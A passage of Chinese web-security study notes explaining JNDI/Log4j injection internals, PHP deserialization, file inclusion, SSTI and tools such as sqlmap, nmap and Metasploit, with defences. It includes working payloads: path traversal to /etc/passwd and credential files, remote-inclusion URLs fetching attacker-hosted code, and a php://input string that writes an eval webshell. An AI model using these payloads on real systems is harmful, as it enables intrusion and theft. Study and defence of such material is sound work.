if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

而在这段getURLOrDefaultInitCtx代码里,我们可以发现getURLOrDefaultInitCtx方法里调用了getURLScheme方法来获取标识名称中的协议(也就是rmi),如果不为空,接着调用了getURLContext方法来获取url协议中rmi协议的对象。

接着getURLOrDefaultInitCtx方法返回的url中的rmi协议对象会调用一个lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(String var1) throws NamingException {
//获取ResolveResult对象
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
//获取RMI注册中心
Context var3 = (Context)var2.getResolvedObj();

Object var4;
try {
//查找RMI远程调用对象
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}

return var4;
}

getRootURLContext方法会根据rmi协议获取一个ResolveResult对象,这个对象包含两个内容:一个是RMI注册中心对象,另一个是RMI远程调用对象的名称,也就是exp。然后getResolvedObj是从ResolveResult对象中获取RMI注册中心对象,getRemainingName方法是从ResolveResult对象中获取RMI远程调用对象的名称,然后RMI注册中心调用了lookup方法根据传入的名称查找RMI远程调用对象名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
//如果名称为空,返回新的RMI注册中心
return new RegistryContext(this);
} else {
Remote var2;
try {
//调用lookup方法
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

在调用之前,会先解析RMI远程调用对象的名称,RMI注册中心会根据传入的RMI远程调用对象的名称查找对应的RMI远程调用对象的引用,也就是把ReferenceWrapper_Stub对象返回,此时var2就是ReferenceWrapper_Stub对象。然后调用decodeObject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//获取reference对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
原理

首先,根据上面的讲解,要使用jndi注入必须满足两个条件

  1. lookup()的参数是我们能控制的
  2. 远程URL是我们能控制的

但我们一般情况下都是无法控制的,所以这时就有人发现了JdbcRowSetImpl利用链。简单地说就是经过一系列的调用最终能执行lookup()并且传入了我们指定的URL,同时存在利用链的地方应该是JDK默认内置的库,或者很知名的很常见的库,因为这些更大的可能性会内置在目标应用当中,如果是个人开发的或者没多少人用的库就算存在利用链也没什么用,压根就没有用武之地。

所以我们来看看这个利用链的原理

JdbcRowSetlmpl链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。

流程
  1. 首先lookup(URI)参数可控
  2. 攻击者控制这个URI参数为指定为恶意的一个RMI服务
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
  5. 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果
优缺点

利用范围更广,即触发更为容易 ;缺点:当fastjson 不出网的话这个方法基本上也是无法使用的了,同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址。

防御方法

对Fastjson组件进行升级

明文黑名单改为HASH值,checkcheckAutoType方法添加L;字符过滤

Log4j

Apache Log4j 是一个基于Java的日志记录工具。它是由Ceki Gülcü首创的,现在已经发展为Apache软件基金会的项目之一。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2

原理

本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar

log4j的Lookups功能可以快速打印包括运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。

我们先查看org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}

if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
//关键//
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
...
} else {
...
}
}

在这段代码中,我们可以看到当我们传入一个message时,MessagePatternConverter.format()会判断config是否存在,如果存在且noLookupsfalse,则会匹配到${则通过getStrSubstitutor()替换原有的字符串

因为这里没有任何的白名单,我们就可以构造任何符合${的字符串。

而在org.apache.logging.log4j.core.lookup.Interpolator#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}

这句话中event根据前缀选择对应的StrLookup进行处理,目前支持date,jndi,java,main等多种类型,如果构造的event是jndi,则通过JndiLoopup进行处理,从而构造漏洞

PHP反序列化

在了解什么是反序列化前,我们需要先了解一些前置知识

PHP类与对象

在PHP中,定义一个类和定义一个类的方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestClass1{
public $var = "hello world!";
public function echovar()
{
echo $this->var;
}
}
//创建一个新的TestClass1对象
$obj = new TestClass1();

//调用该类方法
$obj->echovar();
?>

其中

  • 类使用class关键字后面加上类名定义
  • 类名后面的一堆大括号{}内可以定义变量和方法
  • 类的变量使用var来生命,变量也可以初始化值
  • 函数定义类似PHP函数的定义,但函数只能通过该类及其实体化的对象访问
  • $this 代表自身的对象
  • function是自定义函数
  • 类创建后可以使用new运算符来实例化该类的对象

PHP魔术方法

在PHP官方网站中有这样的定义:

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo() 等方法在 PHP 中被称为”魔术方法”(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

下面来简单讲解介个魔术方法

  • __construst()
    该方法在每次创建新对象时会被自动调用
  • __destruct()
    该方法在使用exit()终止脚本运行时也会被自动调用
  • __toString()
    该方法在一个类被当成字符串时应怎样回应【例如echo $obj;应该显示什么】

下面是代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class TestClass1{
public $var = "hello world\n";
public function echovar(){
echo $this->var;
}

public function __construct(){
echo "construct\n";
}

public function __destruct(){
echo "destruct\n";
}

public function __toString(){
return "toString\n";
}
}

//创建一个新的TestClass1对象
$obj = new TestClass1();

//调用该类的方法
$obj->echovar();
echo $obj;

?>

运行结果如下:

1
2
3
4
construct
hello world
toString
destruct

PHP对象序列化

PHP网站是这样定义的

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

翻译一下:把每一个类的实例化变成一个字符串

同理可得反序列化为:把一个特殊的字符串转换成一个实例

下面直接给个例子看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class TestClass1{
public $var = "hello world\n";
public function echovar(){
echo $this->var;
}

public function __construct(){
echo "construct\n";
}

public function __destruct(){
echo "destruct\n";
}

public function __toString(){
return "toString\n";
}
}
//创建一个新的TestClass1对象
$obj = new TestClass1();

//调用该类的方法
$obj->echovar();
echo serialize($obj);
?>

输出结果如下:

1
2
3
4
construct
hello world
O:10:"TestClass1":1:{s:3:"var";s:12:"hello world
";}destruct

其中O:10:"TestClass1":1:{s:3:"var";s:12:"hello world
";}就是序列化后得到的结果

下面分析一下这串东西

序列化出来的东西是有规则的

o表示对象,a表示数组,s表示字符,i表示数字,r代表对象引用,R代表指针引用

所以我们可以看到o后面的10就表示这个对象由10个字符组成,名字是TestClass1,后面的1代表这里只有一个对象。同理可知括号里面的内容,这里就不细讲了

PHP的反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class TestClass1{
public $var = "hello world\n";
public function echovar(){
echo $this->var;
}

public function __construct(){
echo "construct\n";
}

public function __destruct(){
echo "destruct\n";
}

public function __toString(){
return "toString\n";
}
}
}
$obj3 = unserialize('O:10:"TestClass1":1:{s:3:"var";s:12:"hello world
";}');
$obj3->echovar();
?>

输出如下

1
2
hello world
destruct

实际使用

反序列绕waf

看我几年前的那篇文章吧

BUGKU CTF靶场

没遇到,遇到就补充

文件包含

文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序。当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行时执行的文件

实际上就是开发者为了提高效率和让代码看起来简洁,会使用“包含”函数功能,比如把一系列功能函数写进一个.php文件,然后需要调用时直接在头文件中写上这个php文件就好了。这时因为没有对要包含的这个文件进行安全考虑,就会导致攻击者可以通过修改包含文件的位置来让后台执行任意文件/代码

文件包含漏洞又分“本地文件包含漏洞”和“远程文件包含漏洞

包含函数

通过include()或require()语句,可以将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)

include和require语句是相同的,除了错误处理方面:

.require会生成致命错误(E_COMPILE_ERROR)并停止脚本

.include只生成警告(E_WARNING),并且脚本会继续

1
2
3
4
5
6
7
8
<!--a.html-->	
<html>
<body>
<h1>欢迎!</h1>
<?php include 'test.php';echo "这是".$color.$car;
?>
</body>
</html>
1
2
#Test.php
<?php $color="blue";$car='小车';?>

本地包含

应用漏洞,可以直接在文件名地址上改成这个

../../../.././../../etc/passwd(../越多越好,最终会跳转到根目录)

常见敏感路径

windows
1
2
3
4
5
6
7
8
9
10
11
c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息
Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

一些具体利用

session文件包含漏洞

利用条件

session的存储位置可以获取

获取方法
  1. 通过phpinfo的信息可以获取到session的存储位置
  2. 通过猜测默认的session存放位置进行尝试

linux下默认存储在/var/lib/php/session目录下

session中的内容可以被人控制,从而导致传入恶意代码

实例,分析与利用
1
2
3
4
5
6
7
8
9
<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

该php会将获取到的GET型ctfs变量的值存放到session中,当访问这个urlwww.ctfs-wiki/session.php?ctfs=ctfs后,就会在/var/lib/php/session目录下存储session的值

通过上述分析,可以发现,如果存在本地文件包含漏洞,则可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞来执行这个代码从而实现getshell。

于是第一步可以通过构造ctfs=<?php phpinfo();?>来获取session的位置泄露。第二步则通过文件包含漏洞的解析漏洞进行getshell

有限制本地包含漏洞绕过

%00截断
条件

magic_quotes_gpc = Off php版本<5.3.4

测试代码
1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
测试payload

?filename=../../../../../../../boot.ini%00

路径长度截断
条件

windows OS,点号需要长于256

linux OS 长于4096

测试代码
1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
测试payload
1
?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
条件

windows OS,点号需要长于256

测试代码
1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
测试payload
1
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

远程包含

搭建一个恶意站点,写好文件(在目标目录下生成一句话木马的脚本文件),然后通过修改目标的文件名地址,让对方执行这个文件,然后一句话木马就会在目标目录下生成,然后就是连接木马。

一般可以php配置文件中的两个函数来查看是否开启了远程加载文件

1
2
3
allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞

测试代码
1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>
测试payload

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

有限制远程文件包含漏洞

测试代码
1
<?php include($_GET['filename'] . ".html"); ?>

解释:代码中多加了个html,那么远程包含文件的后缀也会多一个html的后缀

问号绕过

测试payload

?filename=http://192.168.91.133/FI/php.txt?

#号绕过

?filename=http://192.168.91.133/FI/php.txt%23

空格绕过

?filename=http://192.168.91.133/FI/php.txt%20

PHP伪协议

php中有很多协议,这些协议类似于fopen()一样可以调用文件。

例如

file:// 访问本地文件系统

http:// 访问HTTP(S)网址

ftp:// 访问FTP(s)URLs

php:// 访问各个输入/输出流(I/O streams)

zlib:// 压缩流

data:// 数据(RFC 2397)

glob:// 查找匹配的文件路径模式

phar:// PHP归档

ssh2:// Secure Shell 2

rar:// RAR

ogg:// 音频流

expect:// 处理交互式的流

使用方法

php://

php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

php://filter(本地磁盘文件进行读取)

条件:需要开启 allow_url_fopen

filename=php://filter/read=convert.base64-encode/resource=xxx.php

php://input

可以直接读取到POST上没有经过解析的原始数据

?file=php://input数据利用POST传过去

该方法也可以写入木马

条件:开启 allow_url_fopenallow_url_include

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

例如这条,因为post的数据是执行写入一句话木马,所以他就会在当前目录下写入一个木马,结果路径泄露漏洞可以getshell

该方法还有命令执行

条件:开启 allow_url_fopenallow_url_include

例如<?php system('whoami');?>

可以去看《bugku上ctf题》中的web21

file://

可以通过file协议访问本地系统,从而读取到文件内容

data://

与php://相似,就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的

data:// (读取文件)

data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

跟php的input类似,碰到file_get_contents()来用

phar://

这是一个解php压缩包的函数,不管后缀是什么,都会当作压缩包进行解压

?file=phar://压缩包/内部文件 phar://xxx.png/shell.php

PS:PHP>=5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用

例如:

  1. 在shell.php文件中写好一句话木马
  2. 用zip协议进行压缩(变成shell.zip)
  3. 然后将后缀改成png,jpg等其他格式
zip://

zip://跟phar://类似

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

条件:PHP > =5.3.0

PS:注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符

文件上传的利用

场景:例如可以上传图片马,但是却无法执行,同时又有文件包含漏洞,这时可以结合一下,然后getshell

思路:

  1. 制作图片马,通过文件上传漏洞上传
  2. 通过文件包含漏洞对该图片马进行包含
  3. 获取执行结果

防范

  1. 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
  2. 过滤各种../../,http://,https://
  3. 配置php.inn配置文件
  4. 通过白名单策略,仅允许包含运行指定的文件,其他都不允许

php.ini配置文件修改内容:

1
2
3
allow_url_fopen = off
Allow_url_include = off
magic_quotes_gpc = on

TTL

概念

TTL全称 Time to Live,意思是生存中期。当我们对网络上的主机进行ping操作的时候,我们本地机器会发出一个数据包,数据包经过一定数量的路由器传送到目的主机,但 是由于很多的原因,一些数据包不能正常传送到目的主机,那如果不给这些数据包一个生存时间的话,这些数据包会一直在网络上传送,导致网络开销的增大。当数 据包传送到一个路由器之后,TTL就自动减1,如果减到0了还是没有传送到目的主机,那么就自动丢失

使用ttl进行判断对方主机的操作系统

 默认情况下,Linux系统的TTL值为64或255,Windows NT/2000/XP系统的TTL值为128,Windows 98系统的TTL值为32,UNIX主机的TTL值为255

但这些默认值可以通过修改注册表来修改的,所以使用ping去查看服务器并不一定准确。

各个系统的TTL字段值

LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64

FreeBSD 4.1, 4.0, 3.4;

Sun Solaris 2.5.1, 2.6, 2.7, 2.8;

OpenBSD 2.6, 2.7,

NetBSD

HP UX 10.20

ICMP 回显应答的 TTL 字段值为 255

Windows 95/98/98SE

Windows ME

ICMP 回显应答的 TTL 字段值为 32

Windows NT4 WRKS

Windows NT4 Server

Windows 2000

Windows XP

ICMP 回显应答的 TTL 字段值为 128

工具使用

bp

sqlmap

功能

数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

经典用法

  1. -u “xxx” –cookie= “yyy”//带上cookie对url进行注入探测
  2. -u “xxx” –cookie=”yyy” -current-db //对数据库名进行获取
  3. -u “xxx” –cookie=”yyy” -D pikachu –tables //对数据库的表明进行枚举
  4. -u “xxx” –cookie=”yyy” -D pikachu -T users –columns//对库里面的名为users表的列名进行枚举

dirb

nmap

安全渗透一个开源端口扫描器,支持跨平台运行

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sn 192.168.108.0  #主机发现
nmap -sn 192.168.108.0/24 #C段扫描
nmap -sS -p1-1000 192.168.108.132 #端口扫描
nmap -sV 192.168.108.132 #版本扫描
nmap -O 192.168.108.132 #系统扫描
nmap -A 192.168.108.132 #综合扫描

#综合使用
nmap -T4 -n -sS -sV -O 192.168.108.128
参数解释:
-T<0-5> 设置一个时间模板(数字越大速度越快,毋庸置疑快会牺牲扫描质量)
-n 不做 DNS 解析
-sS TCP SYN 半连接扫描【如果是udp扫描,则是-sU】
-sV 探测开放端口以确定服务版本信息
-O 开启操作系统探测
-p 指定端口范围,默认扫一千个端口
-Pn 不做ping扫描,例如针对防火墙等安全产品
-sn 只做ping扫描,不做端口扫描

PS:sn和sp是有区别的

  • -sP:ping扫描

Ping扫描:只进行Ping,然后显现出在线(做出响应)的主机,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现。

在默认情况下,Nmap会发送一个ICMP回声请求和一个TCP报文到目标端口。

Ping扫描的优点:不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式。

  • -sN:隐蔽扫描(-sF、-sX)

-sN是Null扫描,是通过发送非常规的TCP通信数据包对计算机进行探测。

很多情况下Null扫描与Xmas扫描恰好相反,因为Null扫描不会标记任何数据包,若目标主机的相应端口是关闭的,会响应一个RST数据包,若目标端口是开放的则不会响应任何信息。

msf

msf(Metasploit Framework)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台。这个框架主要是由面向对象的Perl编程语言编写的,并带有由C、Python和汇编语言编写的可选组件。

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msfconsole #进入msf

search ssh #ssh相关模块查询

#ssh用户枚举模块
#新建一个用户名txt文档,写入常用的用户名
Name Current Setting Required(必填)
---- --------------- --------
CHECK_FALSE false no
Proxies no
RHOSTS yes
RPORT 22 yes
THREADS 1 yes
THRESHOLD 10 yes
USERNAME no # 用户名
USER_FILE /root/userlist.txt no # 用户名字典,和用户名2选1填写

use auxiliary/scanner/ssh/ssh_enumusers #进入模块
show options #查看配置
set rhosts 192.168.108.0/24 #目标ip或者网段
set USER_FILE /root/userlist.txt #使用用户名字典
run #启动



#SSH登录模块

SSTI注入

所谓的SSTI注入就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。

原因

之所以会出现SSTI注入,是因为渲染函数render_template出现了问题。

渲染函数在渲染的时候,往往不会对用户输入的变量进行渲染,所以从而导致出现了注入漏洞。

例如:`{{}}`在Jinja2中作为变量包裹标识符,Jinja2在渲染时会对`{{}}`里面包裹的内容当作变量解析替换,所以当我们传入的是1+1时,如`{{1+1}}`,它会解析成2。所以就会出现跟sql注入差不多的注入漏洞。

判断类型

一般是根据处理的返回值不同来进行判断

常用类

class

__class__用来查看变量所属的类,格式为变量.__class__

1
2
3
4
5
6
>>>'.'__class__
<class 'str'>
>>>().__class__
<class 'tuple'>
>>>[].__class__
<class 'list'>

bases

__bases__用来查看类的基类,注意是的基类。

格式为:变量.__class__.__bases__

1
2
3
4
5
6
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

当然,也可以加上数组,比如变量.__class__.__bases__[0]来获取第一个基类

PS:__mro____bases__不同,他是显示类和基类

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

subclasses()

__subclasses__()查看当前类的子类,格式如下

变量.__class__.__bases__[0].__subclasses__()

变量.__class__.__bases__[0].__subclasses__()[1]

1
2
>>> ''.__class__.__bases__[0].__subclasses__()[0]
<class 'type'>

通过这几个常用类,我们就可以加一点小细节,实现注入

例如

变量.__class__.__bases[0]__.__subclasses__()[138].__init__.__globals__,init初始化类,然后globals全局来查找所有的方法、变量和参数

具体的使用可以通过靶场来尝试。

使用

可以移步到另一篇文章《bugku上的ctf题》,第一二题就是SSTI注入题。

防御

  1. 除非绝对必要,否则始终使用“无逻辑”模板引擎
  2. 接受几乎不可避免的任意代码执行,并通过在例如锁定的Docker容器中部署模板环境来应用自己的沙箱
  3. 仅在已完全删除潜在危险模块和功能的沙盒环境中执行用户的代码

参考文献

小记 - Web安全

Web安全实战系列:文件包含漏洞